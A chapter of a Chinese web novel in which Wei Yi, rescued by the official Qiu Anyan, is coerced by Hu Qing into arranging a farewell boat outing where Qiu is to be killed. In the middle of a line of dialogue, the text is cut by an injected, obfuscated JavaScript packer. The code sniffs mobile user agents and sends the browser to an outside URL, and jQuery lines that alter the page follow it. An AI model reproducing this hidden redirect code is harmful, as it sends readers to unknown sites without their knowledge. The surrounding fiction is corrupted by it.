等上了船,隗漪紧绷的心弦骤然松懈,心也飘然落回实处,这件事情终于告一段落。
仇安晏拉着她坐下,又走到她对面落座。
先给隗漪斟了一杯安神茶,找出点心把点心她这儿推了推。
仇安晏稳了稳心神正欲说话,一直留意他的隗漪看见他眼中的关切,知道他要问自己的情况。
个中心酸不必多言,他真要问隗漪反而不自在,便连忙截断话题转而问他:“你怎么会出现在这儿?”
说实话,知道自己上船了,隗漪已经做好仇安晏完全无法发挥作用的准备,一心只想从陈沛或者卜云那儿入手。
结果仇安晏居然到了,时机还那样凑巧!
“那天甲三传来消息你赴宴后被带走,他却跟丢了。”仇安晏说话的声音很低,语气闷闷的,“胡市,水陆交通我们都在查,不知道他们会把你带去哪。”
“还是人生地不熟,前几日一点消息没有,昨天却忽然有人来送信。”
“说胡市老大穆天野有一艘大船入水,不知道要去哪里,正是你失踪那日发船。”
“随信另附一张地图,重点标记了那处洞穴,还说你们今日会到这。”
“你相信了?”隗漪有些累了,伏在桌上抬头看他,声音很轻。
“半信半疑吧。”仇安晏嘴上这般说着,却点了点头,“其实大抵还是信的。不管是谁来送信,不过是想让我和穆天野正面对上。”
“不过我们核实一番,发现他给的信息没什么问题。就带着人过来了。”
其中细节他并未多言,隗漪也无暇去问,她太累了,这几日先是被折磨,后来又提心吊胆,没睡过一个囫囵觉。
这会儿骤然松懈下来,竟然不知不觉睡熟了。
仇安晏怔然看着她的睡颜,用目光描摹一遍。
隗漪眼下青黑,神容疲倦,嘴唇也是不正常的苍白,好似大病未愈。
先前答应隗漪让她冒险,仇安晏心中本就不安,待人失踪后更是后悔,此刻看到她虚弱地伏在桌上,这种情绪已经达到了巅峰。
门轻轻响了一声,张戴进来,见隗漪正在睡,他一顿,压低了声音正要说话。
仇安晏制止他,起身往外面走。
待两人都在门外,张戴把事情快速交代了一遍。
“仇大人,医士和卜云都看押起来了。派人去那洞里探了探,死了好几个人。没看见穆天野。不知道他们绕哪儿出去了。”
“眼下估计还在岛上。我们的人正在搜。”
“那个医士是怎么回事?”
“这人叫陈沛,是浔城杏林春的医士,前几天被穆天野的人叫过来以备不时之需,似乎什么都不清楚。”
“看见咱们的人很紧张,似乎就是一个平头老百姓。”
“至于那个卜云……很淡定,一副事不关己的样子。嘿,这人,瞅准了咱们拿他没办法。”
“嗯,先把他二人分别看押,不要轻举妄动。”
“一个时辰,搜不到穆天野就返航。”
“是。”
*
最终如何处置的隗漪就不清楚了,等回了浔城,她把从杨明远处听到的原原本本说给仇安晏。
到这,隗漪的事就完全了结了,心劲一懈,她一下就病倒了,一连好几日病恹恹躺在床上,整日昏睡。
仇安晏人虽然不来看她,钱却一直交着,因而那天他来,许夫人也没说什么,痛快地放人进来。
隗漪见着他,才知道发生了什么事情。
杨明远在回来的路上自尽了,顾忌隗漪精神不好,仇安晏讲得很含糊,提了一嘴便拐到他处去了。
“现在精神可好些?”仇安晏轻轻问道,好像声音大了会把她吹散似的。
隗漪笑着点点头,心里不由得纳闷,怎么这般情态啊?
替隗漪诊断的医士是仇安晏请的,脉案之类的自然也递到了仇安晏手里。
因而她被迷晕,被关着饿了好几天,还挨了两鞭。一应事情,仇安晏知道得一清二楚。
心中不免对她愧疚更深,如今见了,看人还是瘦削病弱的模样,难免像在伺候一尊玉、雪做的人。捧着怕摔了,捂着怕化了。
不知仇安晏在想什么,眼中怜意、感伤浓郁得似乎下一刻就要溢出来,隗漪不自在地移开目光。
宽慰他道:“再过两天就全好啦。不过后续还是要养一阵的。”
见人还是一副愁眉不展的样子,隗漪纳闷,在心里转了一圈,恍然大悟,哦……这是心疼自己了?
若是这样,隗漪轻笑起来,心里倒是感觉有一股暖流淌过,为他的关怀感动。
便挑明了说:“是为我的事情自责么?不必这样的,说到底还是我自己做的选择。仇大人能做到这一步,我已是感激不尽。”
仇安晏笑笑,犹豫道:“再过几日我要回京述职。”
隗漪点点头,自然顺着他的话走,“离别后难得一见,不如三日后我做东请仇大人城外涞溪一聚,明月清风,泛舟水上。还望仇大人赏脸。”
仇安晏轻轻点头,“自然。”
“那仇大人,再会。”
“再会。”
隗漪以手支颐,听见人的脚步声越来越轻渐渐听不见了,知道人已经彻底走远。
“怎么。舍不得?”
扈青从屏风后绕过来,笑眯眯坐在她对面。
许夫人到底在浔城经营许久,人脉不知有多广,不多时就盘下一块地,月芳斋热热闹闹又开张。
那会儿她人不在,许夫人给她留了一个房间,独立于众人之外,在角落里,墙砌的很高。
屋里摆设基本按着她之前的来,除此之外,多了一扇大屏风,人站在屏风背后什么也看不出来。
方才,扈青就在屏风后面将他们的对话听得一清二楚。
扈青比仇安晏来得要早得多。
那时隗漪正在给琵琶调弦。
扈青就这样施施然走进来,如入无人之境。
“我们小漪做得不错。”
他笑眯眯如是道,摸摸隗漪的头,像是在宠爱一只养来逗趣的猫猫狗狗。
隗漪装作不经意避开他伸开的手,疑惑问道:“扈大人,可是有什么吩咐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079252|179365||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
被她躲开,扈青并不在意,收回的手在桌上点了点,声音很冷:“仇安晏过几天要走,把他约出来,到时候有人会动手。”
隗漪心神一震,来不及说话,笃笃两声敲门声,两人被动静吸引,往门口瞧,是许夫人,平淡的声音从外面传来。
“大人,仇安晏来了。”
扈青自然地往屏风后面走,笑眯眯地威胁隗漪,“小漪,记得约他哦。”
许多闲谈被他略过,事情结果他并不关心,当听见隗漪说出他想要的话,这人才恶劣地弯起嘴角,露出一个无声的笑脸。
待人走了,他好脾气地假装没看见隗漪的疲惫与不配合。
强调,“别忘了你们的约定,希望三日后我能听到仇安晏的死讯。”
“小漪,你不会让我失望的,对吧?”
“当然了,扈大人。”
这个人的声音如此平淡干巴,内里的不情愿一览无余,但扈青并不在意,他挥挥手,留下隗漪一人独坐。
明明今日阳光这样好,隗漪沐浴在温暖中,心却如同跌入了冰窟。
*
三日后。
今夜的月亮很好,圆圆的,月光很亮。明月之下,微风浮动,湖水波光粼粼,橹一下一下滑动着水荡开圈圈涟漪。
隗漪沉默地坐着,看仇安晏划船。
他显然不熟练,划得很生硬,船夫在他边上,紧张地看着。
隗漪从他微蹙的眉头,抿着的嘴角,看到他紧握着橹的手。
也许他受不了这样的目光,划得越来越快,动作很僵硬,终于有一下扬起巨大的水花扑到他脸上。
隗漪忍不住大笑起来。
仇安晏低头把橹交给船夫,被她这样纯粹带着欢乐的笑声吸引,忍不住抬头仔细看她的笑脸。
月光下,隗漪的肌肤泛着一种玉的润泽,她笑着,脸颊因而有些泛红,明亮的眼睛眯着,下方有很明显的卧蚕。
那样动人,仇安晏被她用那样一双眼睛看着,好像掉进了一个漩涡,他却没有一丝戒备心甘情愿被漩涡吞噬。
隗漪忽然偏头,避开他灼灼的眼神。
低头把手浸入水中,冰凉的,流动的,好像心也跟着感受到了这种流水般的自由。
隗漪轻轻哼起歌,是一首仇安晏听不出来的小调,声调温柔婉转,仿佛呢喃,仿佛一种低声的诉说。
隗漪似乎不愿意和他说话,仇安晏略有一些苦恼。
这似乎不是一场饯别宴,只是一次极为普通的出游。
而且其中一个人沉浸着,欣赏自己的所见,并不把其他人放在心上。
仇安晏这般想着,忽得听见一阵悠扬的乐声,他不知道隗漪把琵琶也带来了。
此时她就坐在船尾,眉眼低垂,背着月光而坐,整个人的神色藏在阴影中看不清楚,琵琶声忽而哀伤,透露着浓浓的离愁别绪,这场饯别宴似乎刚刚才开始。
仇安晏不忍心开口打破这样的气氛。于是盘腿坐下来,听她的弹奏,望着流动不息的水在明月的清辉下闪动着细细的光泽。
柔美动人。